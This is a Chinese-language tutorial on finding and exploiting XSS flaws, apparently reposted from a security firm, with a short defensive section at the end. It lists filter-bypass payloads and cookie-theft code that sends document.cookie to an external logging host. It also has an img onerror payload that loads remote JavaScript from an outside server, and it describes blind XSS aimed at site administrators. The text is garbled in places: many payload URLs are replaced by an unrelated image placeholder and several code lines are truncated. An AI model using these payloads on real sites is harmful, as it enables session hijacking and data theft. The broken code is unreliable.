XSS漏洞挖掘技巧
常见的绕过姿势
4.1.1 利用大小写绕过
<imG SRC=https://news.stou765.com/skin/default/image/nopic.gif onERROR="alert(1)">
4.1.2 使用未知标签
4.1.3 不使用空格和引号
<img/src=https://news.stou765.com/skin/default/image/nopic.gif>
4.1.4 不闭合标签
4.1.5 使用回车、Tab等符号截断javascript
<a href="jav
<a href="javascript:alert(1)">使用tab截断javascript</a>
<Sc<script>Ript>alert(1)</sCRIp</script>t>
HTML编码
如把尖括号编码[ < ] -----> html十进制: < html十六进制:<
<img src=1 onerror=alert(1)>
<a href="javascript:alert(1)">aaaa</a>
Javascript编码
· jsunicode编码,例如“e”编码为“\u0065”
· js八进制,例如“e”编码为“\145”
跨站拆分法
幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,于是‘剑心’就巧妙的构造出以下XSS利用代码。
<script>z=Z+’write(” ‘</script>
<script>z=z+’ src=https://news.stou765.com/skin/default/image/nopic.gif>
<script>z=z+’w.shell’</script>
<script>z=z+’js></sc’</script>
<script>eval(z)</script>
document.write('<scrip> src=https://news.stou765.com/skin/default/image/nopic.gif>
05
点击添加图片描述(最多60个字)
窃取cookie
5.1.1 读取cookie
直接在浏览器地址栏执行javascript:alert(document.cookie),就可以看到当前的cookie。
5.1.2 发送cookie
5.1.2.1 利用img标签(最常用)
var img=document.createElement("img"); //创建一个img元素节点
document.body.appendChild(img); //添加到body节点下
<form id="x" action="http://www.nsf-test-xss.com/log">
</form>
var a = escape(document.cookie)
document.getElementById("x").submit(); //提交表单
可以看到,页面跳转到了攻击者的网站,这对攻击者来说显然是很不友好的。
5.1.2.3 使用Ajax发送
由于Ajax可以在不重载整个页面的情况下,对网页的某些部分进行更新。并且Ajax可以在后台传输数据,而对前台没有影响。
IE
同域请求
XMLHttpRequest
XDomainRequest
之前的web页面都是传递整个页面结果,导致浪费了大量的网络宽带。使用了Ajax技术之后,客户端只向服务器传输更新过的内容,借助于客户端的javascript处理服务器的响应。
事先把XMLHttpTrquest对象写在一个子程序汇总。数据在服务器URL后面,用“?”字符分割,问号后面的数据会被解析成键值。发送数据的MIME类型通常是 application/x-www-for-urlencode 使用XMLHttpRequest的优势,就是可以从服务器读取不同形式的文本数据,包括XML。
对比上面三种传递方式,发现第二种的代码长度是最长的,这也是才构造了一个form表单,可想而知,若要构造出一个完整的页面进行钓鱼攻击,代码长度势必是不会短的。不仅仅是钓鱼,利用XSS获取用户页面信息、Web蠕虫等特殊情况下代码长度肯定也是很长的。然而实际环境下,很多情况服务端都会限制客户端的输入字符长度。
5.1.2.5 调用外部脚本
<script src=https://news.stou765.com/skin/default/image/nopic.gif>
2. 动态创建
var s=document.createElement("script");
s.src=https://news.stou765.com/skin/default/image/nopic.gif>
(document.body||document.documentElement).appendChild(s);
3. 图片方式调用外部JS
<img style=display:none src=1 onerror='var s=document.createElement("script");s.src="http://xsst.sinaapp.com/m.js";(document.body||document.documentElement).appendChild(s);' />
$
先看一个 DEMO:
$("<img src=https://news.stou765.com/skin/default/image/nopic.gif onerror='alert();'>");
推荐阅读 $ 的官方文档:http://api.jquery.com/jQuery/
after()
.appendTo()
.html()
.insertBefore()
.prependTo()
.replaceWith()
.wrap()
.wrapInner()
以上这些方法不仅创建 DOM 元素,并且会马上插入到页面的 DOM 树中。如果使用 `` 标签插入了内联 JS 会立即执行。
document.URL *
document.location.href *
document.location.hash
window.name
document 的大多数属性都可以通过全局的 window 对象访问到。加 * 的属性返回的时编码 (urlencode) 后的字符串,需要解码才可能造成威胁。
05
“明打”: 知道输出点情况,可以慢慢调整攻击代码。
盲打只是一种惯称的说法,就是不知道后台不知道有没有xss存在的情况下,不顾一切的输入xss代码在留言啊,feedback啊之类的地方,尽可能多的尝试xss的语句与语句的存在方式,就叫盲打。
通俗讲就是见到输入框就输入提前准备的xss代码,通常是使用script标签引入远程的js代码,当有后台人员审核提交数据时候,点击了提交的数据,触发获取到有价值信息。
常见的输出场景
2.<input type="text" value=" [输出点] ">
考虑多种情况,所以构造出XSS语句:
06
输入校验:长度限制、值类型是否正确、是否包含特殊字符。其实校验是对数据无害的,满足就放行,不满足就阻止,这样也能保证数据的原生态。
具体对策
进入HTML标签之间时
& --> &
\> --> >
' --> '
6.2
普通属性如 value、width、height等
<div attr=”[输出]”>...</div> 有引号包围属性值
6.3
特殊属性如 href、src、action等
6.4
CSS非常松散,如果是过滤具体摸个CSS属性值,比如width的值时,尽量避免出现“、’、;、}、{、(、)等特殊字符
6.5
这种情况最为复杂,最好根据现场环境确定过滤对策,需要注意JS的三种编码方式。
现实环境中,很多情况下我们并不需要像上面说的那样一个一个字符去过滤,因为大部分语言框架都已经有相对成熟的XSS防御方案了,只需要调用即可,而且也不推荐自行去实现过滤函数。
· 作为开发人员,要有一定的安全意识,当编写一段代码的时候,要站在攻方的角度,来思考程序的安全性。
转自杭州美创科技有限公司公众号,如需二次转载,请联系marketing@mchz.com.cn
